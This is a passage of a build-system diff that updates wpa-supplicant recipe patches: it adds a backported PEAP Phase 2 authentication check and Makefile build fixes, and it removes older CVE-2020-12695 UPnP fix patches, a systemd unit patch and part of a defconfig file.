+Upstream-Status: Backport [https://w1.fi/cgit/hostap/commit/?id=8e6485a1bcb0baffdea9e55255a81270b768439c]
+
+Signed-off-by: Claus Stovgaard <claus.stovgaard@gmail.com>
+
+---
+ src/eap_peer/eap_config.h | 8 ++++++
+ src/eap_peer/eap_peap.c | 40 +++++++++++++++++++++++++++---
+ src/eap_peer/eap_tls_common.c | 6 +++++
+ src/eap_peer/eap_tls_common.h | 5 ++++
+ wpa_supplicant/wpa_supplicant.conf | 7 ++++++
+ 5 files changed, 63 insertions(+), 3 deletions(-)
+
+diff --git a/src/eap_peer/eap_config.h b/src/eap_peer/eap_config.h
+index 3238f74..047eec2 100644
+--- a/src/eap_peer/eap_config.h
++++ b/src/eap_peer/eap_config.h
+@@ -469,6 +469,14 @@ struct eap_peer_config {
+ * 1 = use cryptobinding if server supports it
+ * 2 = require cryptobinding
+ *
++ * phase2_auth option can be used to control Phase 2 (i.e., within TLS
++ * tunnel) behavior for PEAP:
++ * 0 = do not require Phase 2 authentication
++ * 1 = require Phase 2 authentication when client certificate
++ * (private_key/client_cert) is no used and TLS session resumption was
++ * not used (default)
++ * 2 = require Phase 2 authentication in all cases
++ *
+ * EAP-WSC (WPS) uses following options: pin=Device_Password and
+ * uuid=Device_UUID
+ *
+diff --git a/src/eap_peer/eap_peap.c b/src/eap_peer/eap_peap.c
+index 12e30df..6080697 100644
+--- a/src/eap_peer/eap_peap.c
++++ b/src/eap_peer/eap_peap.c
+@@ -67,6 +67,7 @@ struct eap_peap_data {
+ u8 cmk[20];
+ int soh; /* Whether IF-TNCCS-SOH (Statement of Health; Microsoft NAP)
+ * is enabled. */
++ enum { NO_AUTH, FOR_INITIAL, ALWAYS } phase2_auth;
+ };
+
+
+@@ -114,6 +115,19 @@ static void eap_peap_parse_phase1(struct eap_peap_data *data,
+ wpa_printf(MSG_DEBUG, "EAP-PEAP: Require cryptobinding");
+ }
+
++ if (os_strstr(phase1, "phase2_auth=0")) {
++ data->phase2_auth = NO_AUTH;
++ wpa_printf(MSG_DEBUG,
++ "EAP-PEAP: Do not require Phase 2 authentication");
++ } else if (os_strstr(phase1, "phase2_auth=1")) {
++ data->phase2_auth = FOR_INITIAL;
++ wpa_printf(MSG_DEBUG,
++ "EAP-PEAP: Require Phase 2 authentication for initial connection");
++ } else if (os_strstr(phase1, "phase2_auth=2")) {
++ data->phase2_auth = ALWAYS;
++ wpa_printf(MSG_DEBUG,
++ "EAP-PEAP: Require Phase 2 authentication for all cases");
++ }
+ #ifdef EAP_TNC
+ if (os_strstr(phase1, "tnc=soh2")) {
+ data->soh = 2;
+@@ -142,6 +156,7 @@ static void * eap_peap_init(struct eap_sm *sm)
+ data->force_peap_version = -1;
+ data->peap_outer_success = 2;
+ data->crypto_binding = OPTIONAL_BINDING;
++ data->phase2_auth = FOR_INITIAL;
+
+ if (config && config->phase1)
+ eap_peap_parse_phase1(data, config->phase1);
+@@ -454,6 +469,20 @@ static int eap_tlv_validate_cryptobinding(struct eap_sm *sm,
+ }
+
+
++static bool peap_phase2_sufficient(struct eap_sm *sm,
++ struct eap_peap_data *data)
++{
++ if ((data->phase2_auth == ALWAYS ||
++ (data->phase2_auth == FOR_INITIAL &&
++ !tls_connection_resumed(sm->ssl_ctx, data->ssl.conn) &&
++ !data->ssl.client_cert_conf) ||
++ data->phase2_eap_started) &&
++ !data->phase2_eap_success)
++ return false;
++ return true;
++}
++
++
+ /**
+ * eap_tlv_process - Process a received EAP-TLV message and generate a response
+ * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init()
+@@ -568,6 +597,11 @@ static int eap_tlv_process(struct eap_sm *sm, struct eap_peap_data *data,
+ " - force failed Phase 2");
+ resp_status = EAP_TLV_RESULT_FAILURE;
+ ret->decision = DECISION_FAIL;
++ } else if (!peap_phase2_sufficient(sm, data)) {
++ wpa_printf(MSG_INFO,
++ "EAP-PEAP: Server indicated Phase 2 success, but sufficient Phase 2 authentication has not been completed");
++ resp_status = EAP_TLV_RESULT_FAILURE;
++ ret->decision = DECISION_FAIL;
+ } else {
+ resp_status = EAP_TLV_RESULT_SUCCESS;
+ ret->decision = DECISION_UNCOND_SUCC;
+@@ -887,8 +921,7 @@ continue_req:
+ /* EAP-Success within TLS tunnel is used to indicate
+ * shutdown of the TLS channel. The authentication has
+ * been completed. */
+- if (data->phase2_eap_started &&
+- !data->phase2_eap_success) {
++ if (!peap_phase2_sufficient(sm, data)) {
+ wpa_printf(MSG_DEBUG, "EAP-PEAP: Phase 2 "
+ "Success used to indicate success, "
+ "but Phase 2 EAP was not yet "
+@@ -1199,8 +1232,9 @@ static struct wpabuf * eap_peap_process(struct eap_sm *sm, void *priv,
+ static bool eap_peap_has_reauth_data(struct eap_sm *sm, void *priv)
+ {
+ struct eap_peap_data *data = priv;
++
+ return tls_connection_established(sm->ssl_ctx, data->ssl.conn) &&
+- data->phase2_success;
++ data->phase2_success && data->phase2_auth != ALWAYS;
+ }
+
+
+diff --git a/src/eap_peer/eap_tls_common.c b/src/eap_peer/eap_tls_common.c
+index c1837db..a53eeb1 100644
+--- a/src/eap_peer/eap_tls_common.c
++++ b/src/eap_peer/eap_tls_common.c
+@@ -239,6 +239,12 @@ static int eap_tls_params_from_conf(struct eap_sm *sm,
+
+ sm->ext_cert_check = !!(params->flags & TLS_CONN_EXT_CERT_CHECK);
+
++ if (!phase2)
++ data->client_cert_conf = params->client_cert ||
++ params->client_cert_blob ||
++ params->private_key ||
++ params->private_key_blob;
++
+ return 0;
+ }
+
+diff --git a/src/eap_peer/eap_tls_common.h b/src/eap_peer/eap_tls_common.h
+index 9ac0012..3348634 100644
+--- a/src/eap_peer/eap_tls_common.h
++++ b/src/eap_peer/eap_tls_common.h
+@@ -79,6 +79,11 @@ struct eap_ssl_data {
+ * tls_v13 - Whether TLS v1.3 or newer is used
+ */
+ int tls_v13;
++
++ /**
++ * client_cert_conf: Whether client certificate has been configured
++ */
++ bool client_cert_conf;
+ };
+
+
+diff --git a/wpa_supplicant/wpa_supplicant.conf b/wpa_supplicant/wpa_supplicant.conf
+index 6619d6b..d63f73c 100644
+--- a/wpa_supplicant/wpa_supplicant.conf
++++ b/wpa_supplicant/wpa_supplicant.conf
+@@ -1321,6 +1321,13 @@ fast_reauth=1
+ # * 0 = do not use cryptobinding (default)
+ # * 1 = use cryptobinding if server supports it
+ # * 2 = require cryptobinding
++# 'phase2_auth' option can be used to control Phase 2 (i.e., within TLS
++# tunnel) behavior for PEAP:
++# * 0 = do not require Phase 2 authentication
++# * 1 = require Phase 2 authentication when client certificate
++# (private_key/client_cert) is no used and TLS session resumption was
++# not used (default)
++# * 2 = require Phase 2 authentication in all cases
+ # EAP-WSC (WPS) uses following options: pin=<Device Password> or
+ # pbc=1.
+ #
diff --git a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-WPS-UPnP-Do-not-allow-event-subscriptions-with-URLs-.patch b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-WPS-UPnP-Do-not-allow-event-subscriptions-with-URLs-.patch
deleted file mode 100644
index 53ad5d028a..0000000000
--- a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-WPS-UPnP-Do-not-allow-event-subscriptions-with-URLs-.patch
+++ /dev/null
@@ -1,151 +0,0 @@
-From 5b78c8f961f25f4dc22d6f2b77ddd06d712cec63 Mon Sep 17 00:00:00 2001
-From: Jouni Malinen <jouni@codeaurora.org>
-Date: Wed, 3 Jun 2020 23:17:35 +0300
-Subject: [PATCH 1/3] WPS UPnP: Do not allow event subscriptions with URLs to
- other networks
-
-The UPnP Device Architecture 2.0 specification errata ("UDA errata
-16-04-2020.docx") addresses a problem with notifications being allowed
-to go out to other domains by disallowing such cases. Do such filtering
-for the notification callback URLs to avoid undesired connections to
-external networks based on subscriptions that any device in the local
-network could request when WPS support for external registrars is
-enabled (the upnp_iface parameter in hostapd configuration).
-
-Upstream-Status: Backport
-CVE: CVE-2020-12695 patch #1
-Signed-off-by: Jouni Malinen <jouni@codeaurora.org>
-Signed-off-by: Armin Kuster <akuster@mvista.com>
-
----
- src/wps/wps_er.c | 2 +-
- src/wps/wps_upnp.c | 38 ++++++++++++++++++++++++++++++++++++--
- src/wps/wps_upnp_i.h | 3 ++-
- 3 files changed, 39 insertions(+), 4 deletions(-)
-
-Index: wpa_supplicant-2.9/src/wps/wps_er.c
-===================================================================
---- wpa_supplicant-2.9.orig/src/wps/wps_er.c
-+++ wpa_supplicant-2.9/src/wps/wps_er.c
-@@ -1298,7 +1298,7 @@ wps_er_init(struct wps_context *wps, con
- "with %s", filter);
- }
- if (get_netif_info(er->ifname, &er->ip_addr, &er->ip_addr_text,
-- er->mac_addr)) {
-+ NULL, er->mac_addr)) {
- wpa_printf(MSG_INFO, "WPS UPnP: Could not get IP/MAC address "
- "for %s. Does it have IP address?", er->ifname);
- wps_er_deinit(er, NULL, NULL);
-Index: wpa_supplicant-2.9/src/wps/wps_upnp.c
-===================================================================
---- wpa_supplicant-2.9.orig/src/wps/wps_upnp.c
-+++ wpa_supplicant-2.9/src/wps/wps_upnp.c
-@@ -303,6 +303,14 @@ static void subscr_addr_free_all(struct
- }
-
-
-+static int local_network_addr(struct upnp_wps_device_sm *sm,
-+ struct sockaddr_in *addr)
-+{
-+ return (addr->sin_addr.s_addr & sm->netmask.s_addr) ==
-+ (sm->ip_addr & sm->netmask.s_addr);
-+}
-+
-+
- /* subscr_addr_add_url -- add address(es) for one url to subscription */
- static void subscr_addr_add_url(struct subscription *s, const char *url,
- size_t url_len)
-@@ -381,6 +389,7 @@ static void subscr_addr_add_url(struct s
-
- for (rp = result; rp; rp = rp->ai_next) {
- struct subscr_addr *a;
-+ struct sockaddr_in *addr = (struct sockaddr_in *) rp->ai_addr;
-
- /* Limit no. of address to avoid denial of service attack */
- if (dl_list_len(&s->addr_list) >= MAX_ADDR_PER_SUBSCRIPTION) {
-@@ -389,6 +398,13 @@ static void subscr_addr_add_url(struct s
- break;
- }
-
-+ if (!local_network_addr(s->sm, addr)) {
-+ wpa_printf(MSG_INFO,
-+ "WPS UPnP: Ignore a delivery URL that points to another network %s",
-+ inet_ntoa(addr->sin_addr));
-+ continue;
-+ }
-+
- a = os_zalloc(sizeof(*a) + alloc_len);
- if (a == NULL)
- break;
-@@ -889,11 +905,12 @@ static int eth_get(const char *device, u
- * @net_if: Selected network interface name
- * @ip_addr: Buffer for returning IP address in network byte order
- * @ip_addr_text: Buffer for returning a pointer to allocated IP address text
-+ * @netmask: Buffer for returning netmask or %NULL if not needed
- * @mac: Buffer for returning MAC address
- * Returns: 0 on success, -1 on failure
- */
- int get_netif_info(const char *net_if, unsigned *ip_addr, char **ip_addr_text,
-- u8 mac[ETH_ALEN])
-+ struct in_addr *netmask, u8 mac[ETH_ALEN])
- {
- struct ifreq req;
- int sock = -1;
-@@ -919,6 +936,19 @@ int get_netif_info(const char *net_if, u
- in_addr.s_addr = *ip_addr;
- os_snprintf(*ip_addr_text, 16, "%s", inet_ntoa(in_addr));
-
-+ if (netmask) {
-+ os_memset(&req, 0, sizeof(req));
-+ os_strlcpy(req.ifr_name, net_if, sizeof(req.ifr_name));
-+ if (ioctl(sock, SIOCGIFNETMASK, &req) < 0) {
-+ wpa_printf(MSG_ERROR,
-+ "WPS UPnP: SIOCGIFNETMASK failed: %d (%s)",
-+ errno, strerror(errno));
-+ goto fail;
-+ }
-+ addr = (struct sockaddr_in *) &req.ifr_netmask;
-+ netmask->s_addr = addr->sin_addr.s_addr;
-+ }
-+
- #ifdef __linux__
- os_strlcpy(req.ifr_name, net_if, sizeof(req.ifr_name));
- if (ioctl(sock, SIOCGIFHWADDR, &req) < 0) {
-@@ -1025,11 +1055,15 @@ static int upnp_wps_device_start(struct
-
- /* Determine which IP and mac address we're using */
- if (get_netif_info(net_if, &sm->ip_addr, &sm->ip_addr_text,
-- sm->mac_addr)) {
-+ &sm->netmask, sm->mac_addr)) {
- wpa_printf(MSG_INFO, "WPS UPnP: Could not get IP/MAC address "
- "for %s. Does it have IP address?", net_if);
- goto fail;
- }
-+ wpa_printf(MSG_DEBUG, "WPS UPnP: Local IP address %s netmask %s hwaddr "
-+ MACSTR,
-+ sm->ip_addr_text, inet_ntoa(sm->netmask),
-+ MAC2STR(sm->mac_addr));
-
- /* Listen for incoming TCP connections so that others
- * can fetch our "xml files" from us.
-Index: wpa_supplicant-2.9/src/wps/wps_upnp_i.h
-===================================================================
---- wpa_supplicant-2.9.orig/src/wps/wps_upnp_i.h
-+++ wpa_supplicant-2.9/src/wps/wps_upnp_i.h
-@@ -128,6 +128,7 @@ struct upnp_wps_device_sm {
- u8 mac_addr[ETH_ALEN]; /* mac addr of network i.f. we use */
- char *ip_addr_text; /* IP address of network i.f. we use */
- unsigned ip_addr; /* IP address of network i.f. we use (host order) */
-+ struct in_addr netmask;
- int multicast_sd; /* send multicast messages over this socket */
- int ssdp_sd; /* receive discovery UPD packets on socket */
- int ssdp_sd_registered; /* nonzero if we must unregister */
-@@ -158,7 +159,7 @@ struct subscription * subscription_find(
- const u8 uuid[UUID_LEN]);
- void subscr_addr_delete(struct subscr_addr *a);
- int get_netif_info(const char *net_if, unsigned *ip_addr, char **ip_addr_text,
-- u8 mac[ETH_ALEN]);
-+ struct in_addr *netmask, u8 mac[ETH_ALEN]);
-
- /* wps_upnp_ssdp.c */
- void msearchreply_state_machine_stop(struct advertisement_state_machine *a);
diff --git a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-build-Re-enable-options-for-libwpa_client.so-and-wpa.patch b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-build-Re-enable-options-for-libwpa_client.so-and-wpa.patch
new file mode 100644
index 0000000000..6e930fc98d
--- /dev/null
+++ b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-build-Re-enable-options-for-libwpa_client.so-and-wpa.patch
@@ -0,0 +1,73 @@
+From cb41c214b78d6df187a31950342e48a403dbd769 Mon Sep 17 00:00:00 2001
+From: Sergey Matyukevich <geomatsi@gmail.com>
+Date: Tue, 22 Feb 2022 11:52:19 +0300
+Subject: [PATCH 1/2] build: Re-enable options for libwpa_client.so and
+ wpa_passphrase
+
+Commit a41a29192e5d ("build: Pull common fragments into a build.rules
+file") introduced a regression into wpa_supplicant build process. The
+build target libwpa_client.so is not built regardless of whether the
+option CONFIG_BUILD_WPA_CLIENT_SO is set or not. This happens because
+this config option is used before it is imported from the configuration
+file. Moving its use after including build.rules does not help: the
+variable ALL is processed by build.rules and further changes are not
+applied. Similarly, option CONFIG_NO_WPA_PASSPHRASE also does not work
+as expected: wpa_passphrase is always built regardless of whether the
+option is set or not.
+
+Re-enable these options by adding both build targets to _all
+dependencies.
+
+Fixes: a41a29192e5d ("build: Pull common fragments into a build.rules file")
+Signed-off-by: Sergey Matyukevich <geomatsi@gmail.com>
+Upstream-Status: Backport
+Signed-off-by: Alex Kiernan <alexk@zuma.ai>
+Signed-off-by: Alex Kiernan <alexk@gmail.com>
+---
+ wpa_supplicant/Makefile | 19 ++++++++++++-------
+ 1 file changed, 12 insertions(+), 7 deletions(-)
+
+diff --git a/wpa_supplicant/Makefile b/wpa_supplicant/Makefile
+index cb66defac7c8..c456825ae75f 100644
+--- a/wpa_supplicant/Makefile
++++ b/wpa_supplicant/Makefile
+@@ -1,24 +1,29 @@
+ BINALL=wpa_supplicant wpa_cli
+
+-ifndef CONFIG_NO_WPA_PASSPHRASE
+-BINALL += wpa_passphrase
+-endif
+-
+ ALL = $(BINALL)
+ ALL += systemd/wpa_supplicant.service
+ ALL += systemd/wpa_supplicant@.service
+ ALL += systemd/wpa_supplicant-nl80211@.service
+ ALL += systemd/wpa_supplicant-wired@.service
+ ALL += dbus/fi.w1.wpa_supplicant1.service
+-ifdef CONFIG_BUILD_WPA_CLIENT_SO
+-ALL += libwpa_client.so
+-endif
+
+ EXTRA_TARGETS=dynamic_eap_methods
+
+ CONFIG_FILE=.config
+ include ../src/build.rules
+
++ifdef CONFIG_BUILD_WPA_CLIENT_SO
++# add the dependency this way to allow CONFIG_BUILD_WPA_CLIENT_SO
++# being set in the config which is read by build.rules
++_all: libwpa_client.so
++endif
++
++ifndef CONFIG_NO_WPA_PASSPHRASE
++# add the dependency this way to allow CONFIG_NO_WPA_PASSPHRASE
++# being set in the config which is read by build.rules
++_all: wpa_passphrase
++endif
++
+ ifdef LIBS
+ # If LIBS is set with some global build system defaults, clone those for
+ # LIBS_c and LIBS_p to cover wpa_passphrase and wpa_cli as well.
+--
+2.35.1
+
diff --git a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-replace-systemd-install-Alias-with-WantedBy.patch b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-replace-systemd-install-Alias-with-WantedBy.patch
deleted file mode 100644
index a476cf040e..0000000000
--- a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-replace-systemd-install-Alias-with-WantedBy.patch
+++ /dev/null
@@ -1,52 +0,0 @@
-From 94c401733a5a3d294cc412671166e6adfb409f53 Mon Sep 17 00:00:00 2001
-From: Joshua DeWeese <jdeweese@hennypenny.com>
-Date: Wed, 30 Jan 2019 16:19:47 -0500
-Subject: [PATCH] replace systemd install Alias with WantedBy
-
-According to the systemd documentation "WantedBy=foo.service in a
-service bar.service is mostly equivalent to
-Alias=foo.service.wants/bar.service in the same file." However,
-this is not really the intended purpose of install Aliases.
-
-Upstream-Status: Submitted [hostap@lists.infradead.org]
-
-Signed-off-by: Joshua DeWeese <jdeweese@hennypenny.com>
----
- wpa_supplicant/systemd/wpa_supplicant-nl80211.service.arg.in | 2 +-
- wpa_supplicant/systemd/wpa_supplicant-wired.service.arg.in | 2 +-
- wpa_supplicant/systemd/wpa_supplicant.service.arg.in | 2 +-
- 3 files changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/wpa_supplicant/systemd/wpa_supplicant-nl80211.service.arg.in b/wpa_supplicant/systemd/wpa_supplicant-nl80211.service.arg.in
-index 03ac507..da69a87 100644
---- a/wpa_supplicant/systemd/wpa_supplicant-nl80211.service.arg.in
-+++ b/wpa_supplicant/systemd/wpa_supplicant-nl80211.service.arg.in
-@@ -12,4 +12,4 @@ Type=simple
- ExecStart=@BINDIR@/wpa_supplicant -c/etc/wpa_supplicant/wpa_supplicant-nl80211-%I.conf -Dnl80211 -i%I
-
- [Install]
--Alias=multi-user.target.wants/wpa_supplicant-nl80211@%i.service
-+WantedBy=multi-user.target
-diff --git a/wpa_supplicant/systemd/wpa_supplicant-wired.service.arg.in b/wpa_supplicant/systemd/wpa_supplicant-wired.service.arg.in
-index c8a744d..ca3054b 100644
---- a/wpa_supplicant/systemd/wpa_supplicant-wired.service.arg.in
-+++ b/wpa_supplicant/systemd/wpa_supplicant-wired.service.arg.in
-@@ -12,4 +12,4 @@ Type=simple
- ExecStart=@BINDIR@/wpa_supplicant -c/etc/wpa_supplicant/wpa_supplicant-wired-%I.conf -Dwired -i%I
-
- [Install]
--Alias=multi-user.target.wants/wpa_supplicant-wired@%i.service
-+WantedBy=multi-user.target
-diff --git a/wpa_supplicant/systemd/wpa_supplicant.service.arg.in b/wpa_supplicant/systemd/wpa_supplicant.service.arg.in
-index 7788b38..55d2b9c 100644
---- a/wpa_supplicant/systemd/wpa_supplicant.service.arg.in
-+++ b/wpa_supplicant/systemd/wpa_supplicant.service.arg.in
-@@ -12,4 +12,4 @@ Type=simple
- ExecStart=@BINDIR@/wpa_supplicant -c/etc/wpa_supplicant/wpa_supplicant-%I.conf -i%I
-
- [Install]
--Alias=multi-user.target.wants/wpa_supplicant@%i.service
-+WantedBy=multi-user.target
---
-2.7.4
-
diff --git a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0002-Fix-removal-of-wpa_passphrase-on-make-clean.patch b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0002-Fix-removal-of-wpa_passphrase-on-make-clean.patch
new file mode 100644
index 0000000000..53b0fcdf53
--- /dev/null
+++ b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0002-Fix-removal-of-wpa_passphrase-on-make-clean.patch
@@ -0,0 +1,26 @@
+From d001b301ba7987f4b39453a211631b85c48f2ff8 Mon Sep 17 00:00:00 2001
+From: Jouni Malinen <quic_jouni@quicinc.com>
+Date: Thu, 3 Mar 2022 13:26:42 +0200
+Subject: [PATCH 2/2] Fix removal of wpa_passphrase on 'make clean'
+
+Fixes: 0430bc8267b4 ("build: Add a common-clean target")
+Signed-off-by: Jouni Malinen <quic_jouni@quicinc.com>
+Upstream-Status: Backport
+Signed-off-by: Alex Kiernan <alexk@zuma.ai>
+Signed-off-by: Alex Kiernan <alexk@gmail.com>
+---
+ wpa_supplicant/Makefile | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/wpa_supplicant/Makefile b/wpa_supplicant/Makefile
+index c456825ae75f..4b4688931b1d 100644
+--- a/wpa_supplicant/Makefile
++++ b/wpa_supplicant/Makefile
+@@ -2077,3 +2077,4 @@ clean: common-clean
+ rm -f libwpa_client.a
+ rm -f libwpa_client.so
+ rm -f libwpa_test1 libwpa_test2
++ rm -f wpa_passphrase
+--
+2.35.1
+
diff --git a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0002-WPS-UPnP-Fix-event-message-generation-using-a-long-U.patch b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0002-WPS-UPnP-Fix-event-message-generation-using-a-long-U.patch
deleted file mode 100644
index 59640859dd..0000000000
--- a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0002-WPS-UPnP-Fix-event-message-generation-using-a-long-U.patch
+++ /dev/null
@@ -1,62 +0,0 @@
-From f7d268864a2660b7239b9a8ff5ad37faeeb751ba Mon Sep 17 00:00:00 2001
-From: Jouni Malinen <jouni@codeaurora.org>
-Date: Wed, 3 Jun 2020 22:41:02 +0300
-Subject: [PATCH 2/3] WPS UPnP: Fix event message generation using a long URL
- path
-
-More than about 700 character URL ended up overflowing the wpabuf used
-for building the event notification and this resulted in the wpabuf
-buffer overflow checks terminating the hostapd process. Fix this by
-allocating the buffer to be large enough to contain the full URL path.
-However, since that around 700 character limit has been the practical
-limit for more than ten years, start explicitly enforcing that as the
-limit or the callback URLs since any longer ones had not worked before
-and there is no need to enable them now either.
-
-Upstream-Status: Backport
-CVE: CVE-2020-12695 patch #2
-Signed-off-by: Jouni Malinen <jouni@codeaurora.org>
-Signed-off-by: Armin Kuster <akuster@mvista.com>
-
----
- src/wps/wps_upnp.c | 9 +++++++--
- src/wps/wps_upnp_event.c | 3 ++-
- 2 files changed, 9 insertions(+), 3 deletions(-)
-
-diff --git a/src/wps/wps_upnp.c b/src/wps/wps_upnp.c
-index 7d4b7439940e..ab685d52ecab 100644
---- a/src/wps/wps_upnp.c
-+++ b/src/wps/wps_upnp.c
-@@ -328,9 +328,14 @@ static void subscr_addr_add_url(struct subscription *s, const char *url,
- int rerr;
- size_t host_len, path_len;
-
-- /* url MUST begin with http: */
-- if (url_len < 7 || os_strncasecmp(url, "http://", 7))
-+ /* URL MUST begin with HTTP scheme. In addition, limit the length of
-+ * the URL to 700 characters which is around the limit that was
-+ * implicitly enforced for more than 10 years due to a bug in
-+ * generating the event messages. */
-+ if (url_len < 7 || os_strncasecmp(url, "http://", 7) || url_len > 700) {
-+ wpa_printf(MSG_DEBUG, "WPS UPnP: Reject an unacceptable URL");
- goto fail;
-+ }
- url += 7;
- url_len -= 7;
-
-diff --git a/src/wps/wps_upnp_event.c b/src/wps/wps_upnp_event.c
-index d7e6edcc6503..08a23612f338 100644
---- a/src/wps/wps_upnp_event.c
-+++ b/src/wps/wps_upnp_event.c
-@@ -147,7 +147,8 @@ static struct wpabuf * event_build_message(struct wps_event_ *e)
- struct wpabuf *buf;
- char *b;
-
-- buf = wpabuf_alloc(1000 + wpabuf_len(e->data));
-+ buf = wpabuf_alloc(1000 + os_strlen(e->addr->path) +
-+ wpabuf_len(e->data));
- if (buf == NULL)
- return NULL;
- wpabuf_printf(buf, "NOTIFY %s HTTP/1.1\r\n", e->addr->path);
---
-2.20.1
diff --git a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0003-WPS-UPnP-Handle-HTTP-initiation-failures-for-events-.patch b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0003-WPS-UPnP-Handle-HTTP-initiation-failures-for-events-.patch
deleted file mode 100644
index 8a014ef28a..0000000000
--- a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0003-WPS-UPnP-Handle-HTTP-initiation-failures-for-events-.patch
+++ /dev/null
@@ -1,50 +0,0 @@
-From 85aac526af8612c21b3117dadc8ef5944985b476 Mon Sep 17 00:00:00 2001
-From: Jouni Malinen <jouni@codeaurora.org>
-Date: Thu, 4 Jun 2020 21:24:04 +0300
-Subject: [PATCH 3/3] WPS UPnP: Handle HTTP initiation failures for events more
- properly
-
-While it is appropriate to try to retransmit the event to another
-callback URL on a failure to initiate the HTTP client connection, there
-is no point in trying the exact same operation multiple times in a row.
-Replve the event_retry() calls with event_addr_failure() for these cases
-to avoid busy loops trying to repeat the same failing operation.
-
-These potential busy loops would go through eloop callbacks, so the
-process is not completely stuck on handling them, but unnecessary CPU
-would be used to process the continues retries that will keep failing
-for the same reason.
-
-Upstream-Status: Backport
-CVE: CVE-2020-12695 patch #2
-Signed-off-by: Jouni Malinen <jouni@codeaurora.org>
-Signed-off-by: Armin Kuster <akuster@mvista.com>
-
----
- src/wps/wps_upnp_event.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/src/wps/wps_upnp_event.c b/src/wps/wps_upnp_event.c
-index 08a23612f338..c0d9e41d9a38 100644
---- a/src/wps/wps_upnp_event.c
-+++ b/src/wps/wps_upnp_event.c
-@@ -294,7 +294,7 @@ static int event_send_start(struct subscription *s)
-
- buf = event_build_message(e);
- if (buf == NULL) {
-- event_retry(e, 0);
-+ event_addr_failure(e);
- return -1;
- }
-
-@@ -302,7 +302,7 @@ static int event_send_start(struct subscription *s)
- event_http_cb, e);
- if (e->http_event == NULL) {
- wpabuf_free(buf);
-- event_retry(e, 0);
-+ event_addr_failure(e);
- return -1;
- }
-
---
-2.20.1
diff --git a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/defconfig b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/defconfig
deleted file mode 100644
index f04e398fdb..0000000000
--- a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/defconfig
+++ /dev/null
@@ -1,552 +0,0 @@
-# Example wpa_supplicant build time configuration
-#
-# This file lists the configuration options that are used when building the
-# hostapd binary. All lines starting with # are ignored. Configuration option
-# lines must be commented out complete, if they are not to be included, i.e.,
-# just setting VARIABLE=n is not disabling that variable.
-#
-# This file is included in Makefile, so variables like CFLAGS and LIBS can also
-# be modified from here. In most cases, these lines should use += in order not
-# to override previous values of the variables.
-
-
-# Uncomment following two lines and fix the paths if you have installed OpenSSL
-# or GnuTLS in non-default location
-#CFLAGS += -I/usr/local/openssl/include
-#LIBS += -L/usr/local/openssl/lib
-
-# Some Red Hat versions seem to include kerberos header files from OpenSSL, but
-# the kerberos files are not in the default include path. Following line can be
-# used to fix build issues on such systems (krb5.h not found).
-#CFLAGS += -I/usr/include/kerberos
-
-# Example configuration for various cross-compilation platforms
-
-#### sveasoft (e.g., for Linksys WRT54G) ######################################
-#CC=mipsel-uclibc-gcc
-#CC=/opt/brcm/hndtools-mipsel-uclibc/bin/mipsel-uclibc-gcc
-#CFLAGS += -Os
-#CPPFLAGS += -I../src/include -I../../src/router/openssl/include
-#LIBS += -L/opt/brcm/hndtools-mipsel-uclibc-0.9.19/lib -lssl
-###############################################################################
-
-#### openwrt (e.g., for Linksys WRT54G) #######################################
-#CC=mipsel-uclibc-gcc
-#CC=/opt/brcm/hndtools-mipsel-uclibc/bin/mipsel-uclibc-gcc
-#CFLAGS += -Os
-#CPPFLAGS=-I../src/include -I../openssl-0.9.7d/include \
-# -I../WRT54GS/release/src/include
-#LIBS = -lssl
-###############################################################################
-
-
-# Driver interface for Host AP driver
-CONFIG_DRIVER_HOSTAP=y
-
-# Driver interface for Agere driver
-#CONFIG_DRIVER_HERMES=y
-# Change include directories to match with the local setup
-#CFLAGS += -I../../hcf -I../../include -I../../include/hcf
-#CFLAGS += -I../../include/wireless
-
-# Driver interface for madwifi driver
-# Deprecated; use CONFIG_DRIVER_WEXT=y instead.
-#CONFIG_DRIVER_MADWIFI=y
-# Set include directory to the madwifi source tree
-#CFLAGS += -I../../madwifi
-
-# Driver interface for ndiswrapper
-# Deprecated; use CONFIG_DRIVER_WEXT=y instead.
-#CONFIG_DRIVER_NDISWRAPPER=y
-
-# Driver interface for Atmel driver
-# CONFIG_DRIVER_ATMEL=y
-
-# Driver interface for old Broadcom driver
-# Please note that the newer Broadcom driver ("hybrid Linux driver") supports
-# Linux wireless extensions and does not need (or even work) with the old
-# driver wrapper. Use CONFIG_DRIVER_WEXT=y with that driver.
-#CONFIG_DRIVER_BROADCOM=y
-# Example path for wlioctl.h; change to match your configuration
-#CFLAGS += -I/opt/WRT54GS/release/src/include
-
-# Driver interface for Intel ipw2100/2200 driver
-# Deprecated; use CONFIG_DRIVER_WEXT=y instead.
-#CONFIG_DRIVER_IPW=y
-
-# Driver interface for Ralink driver
-#CONFIG_DRIVER_RALINK=y
-
-# Driver interface for generic Linux wireless extensions
-# Note: WEXT is deprecated in the current Linux kernel version and no new
-# functionality is added to it. nl80211-based interface is the new
-# replacement for WEXT and its use allows wpa_supplicant to properly control
-# the driver to improve existing functionality like roaming and to support new
-# functionality.
-CONFIG_DRIVER_WEXT=y
-
